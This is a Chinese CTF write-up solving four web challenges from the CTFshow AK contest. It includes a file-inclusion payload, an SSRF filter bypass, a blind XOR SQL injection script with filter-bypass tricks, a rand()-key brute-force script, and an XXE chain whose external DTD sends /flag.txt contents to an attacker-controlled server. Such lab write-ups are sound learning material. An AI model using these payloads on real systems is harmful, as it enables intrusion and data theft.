CTF SHOW WEB_AK赛
CTF SHOW平台的WEB AK赛:
- 
签到_观己 <?php  if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match('/php/i', $file)){ die('error'); }else{ include($file); }  }else{ highlight_file(__FILE__); }  ?>简单的代码审计,这里进行过滤了 php ,应该是为了禁止使用php伪协议,然后包含传入的file文件,我们可以直接猜测根目录下存在flag文件 payload为: ?file=/flag.txt  获得flag 
- 
WEB1_观字  简单的代码审计 <?php  #flag in http://192.168.7.68/flag if(isset($_GET['url'])){ $url = $_GET['url']; $protocol = substr($url, 0,7); if($protocol!='http://'){ die('仅限http协议访问'); } if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){ die('仅限域名地址访问'); } system('curl '.$url); }首先给出了提示: #flag in http://192.168.7.68/flag flag在内网服务器的根目录下,而我们一般都是使用SSRF漏洞进行内网探测。 然后限制传入的url的协议只能是http $url = $_GET['url']; $protocol = substr($url, 0,7); if($protocol!='http://'){ die('仅限http协议访问'); }过滤了一些特殊字符 if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){ die('仅限域名地址访问'); }第一个过滤的字符就是符号 点 ,但想要探测IP的时候会用到 . ,寻找替代字符 使用句号替代点,构造payload为: ?url=http://192。168。7。68/flag  
- 
WEB2_观星 访问页面,可以看到有三篇文章  点击之后可以看到每篇文章的内容不一样,且URL格式为: index.php?id=1  猜测是SQL注入漏洞 输入单引号后显示被拦截  使用异或符号检测(为什么用异或符号?这个看个人习惯和直觉吧) 构造payload为: index.php?id=1^2  index.php?id=1^3  1^2为01^10,结果为11,即3 1^3为01^11,结果为10,即2 得到的结果与我们的预想一致,存在SQL异或盲注漏洞 SQL盲注的payload一般为(我们根据题目条件进行相应构造): id=1^if(ascii(substr(database(),1,1))=102,2,3) 使用 substr 函数截取database()的每一位字母 使用 ascii 函数获取相应字母的 ascii 码 使用 if 判断 ascii 码 是多少,虽然二分法效率比较高,但是对边界条件需要考虑,所以一般情况下不如直接使用等号强行判断ascii值 为真则返回2,为假则返回3 1^2,1^3的结果在前面我们已经判断了,得到不同的文章,可以通过返回页面的结果进行判断 原理就是这样,使用上述payload,关键字被过滤  进行SQL注入绕过,绕过学习自羽师傅的博客: https://blog.csdn.net/miuzzx/article/details/107706685 对上面的payload进行转换: 空格使用括号来代替:这个很常见,也有的时候会使用注释来替换空格 单引号用十六进制来代替 : 常见,如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过: select column_name from information_schema.columns where table_name=0x7573657273; 0x7573657273为users的16进制 substr 中的逗号,使用 substr(database() from 1 for 1) 来代替substr(database(),1,1): substr(database(),1,1) 从第1位字符起,截取 database()值的第一位 substr(database() from 1 for 1) 对比上面的payload,就可以知道 from for 是啥意思了 from 为从第几个字符开始,for为截取几个 如果 for 也被过滤了,使用 mid 和 reverse 函数进行绕过 if 中有逗号,使用 case when 来代替 if 用法举例: if(database()='xxx',sleep(3),1) case when 替换绕过语句为: case when database()='xxx' then sleep(3) else 1 end ascii 使用 ord 来进行替换: ORD()函数返回字符串中第一个字符的ASCII值 等号 和 like 使用 regexp 来进行代替: 关于REGEXP,有文章:https://xz.aliyun.com/t/8003 REGEXP编写带有正则表达式的SQL语句,在全文相等的情况下替代等号 于是可以构造payload id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end 最终获取flag的脚本为: import requests  baseurl='http://426c70b1-b58c-4b5e-8e2d-abf5bde77c46.chall.ctf.show/index.php?id=1^' value="" for i in range(1,50): print("i=" + str(i)) for j in range(38,128): # paylaod='case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end'.format(i,j) #paylaod='case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end'.format(i,j) # paylaod='case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end'.format(i,j) paylaod='case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(2)else(3)end'.format(i,j) # "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i, j) newurl=baseurl+paylaod rep=requests.get(newurl).text # print(rep) if "I asked nothing" in rep: print(value) value+=chr(j) break做的时候学习了不少绕过的技巧 不过这个脚本跑的时候好像最后一位跑不出来,得靠自己猜,比如出列名的时候为 fla,猜出为flag,还没发现为啥  补齐括号提交 
- 
WEB3_观图  查看源代码  看这个样子存在文件包含漏洞,访问该网址 看起来 Z6Ilu83MIDw= 像base64加密,解密失败 直接访问 showImage.php 文件,发现源代码 <?php  //$key = substr(md5('ctfshow'.rand()),3,8); //flag in config.php include('config.php'); if(isset($_GET['image'])){ $image=$_GET['image']; $str = openssl_decrypt($image, 'bf-ecb', $key); if(file_exists($str)){ header('content-type:image/gif'); echo file_get_contents($str); } }else{ highlight_file(__FILE__); } ?>从 file_get_contents 可以看出是文件包含利用 代码里面提示了我们: //flag in config.php 文件名是使用DES加密 $str = openssl_decrypt($image, 'bf-ecb', $key); 加密所需的key在: $key = substr(md5('ctfshow'.rand()),3,8);而PHP rand()函数产生的数值的范围最大为32768,我们可以编写脚本进行爆破,爆破脚本为: <?php for($i=0;$i<=32768;$i++){ echo $i.'<br>'; $key = substr(md5('ctfshow'.$i),3,8); $str=openssl_decrypt("Z6Ilu83MIDw=",'bf-ecb',$key); if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){ echo "key is ".$i.'<br>'; break; } }在线环境运行一下,可知key is 27347  获得key后得到config.php的加密后的文件名 : ?image=N6bf8Bd8jm0SpmTZGl0isw== <?php $key = substr(md5('ctfshow'.'27347'),3,8);  $str=openssl_encrypt("config.php",'bf-ecb',$key); echo $str;将访问到的图片保存在本地,使用notepad++打开  
- 
WEB4_观心 点击占卜,可以看到api.php向外部请求了一个xml文件  可以推测是xml外部实体注入,即XXE漏洞 同时因为是向公网上的服务器发起请求,所以我们需要使用自己公网服务器构造攻击链 在服务器上先编写一个test.xml <?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE test [  <!ENTITY % remote SYSTEM "http://ip/test.dtd">  %remote;%int;%send; ]>  <reset><login>bee</login><secret>Any bugs?</secret></reset> 用于请求外部dtd文档 <!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt"> <!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>"> %p2; XXE漏洞还不熟,等把upload靶场重做一遍后再深入学习一下XXE,本关大部分参考其他大佬的博客 接着burpsuite修改api参数访问即可获取flag  获得flag:flag{0ff30e5b-b292-4026-965e-fdaa2d482c58} 
参考链接:

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号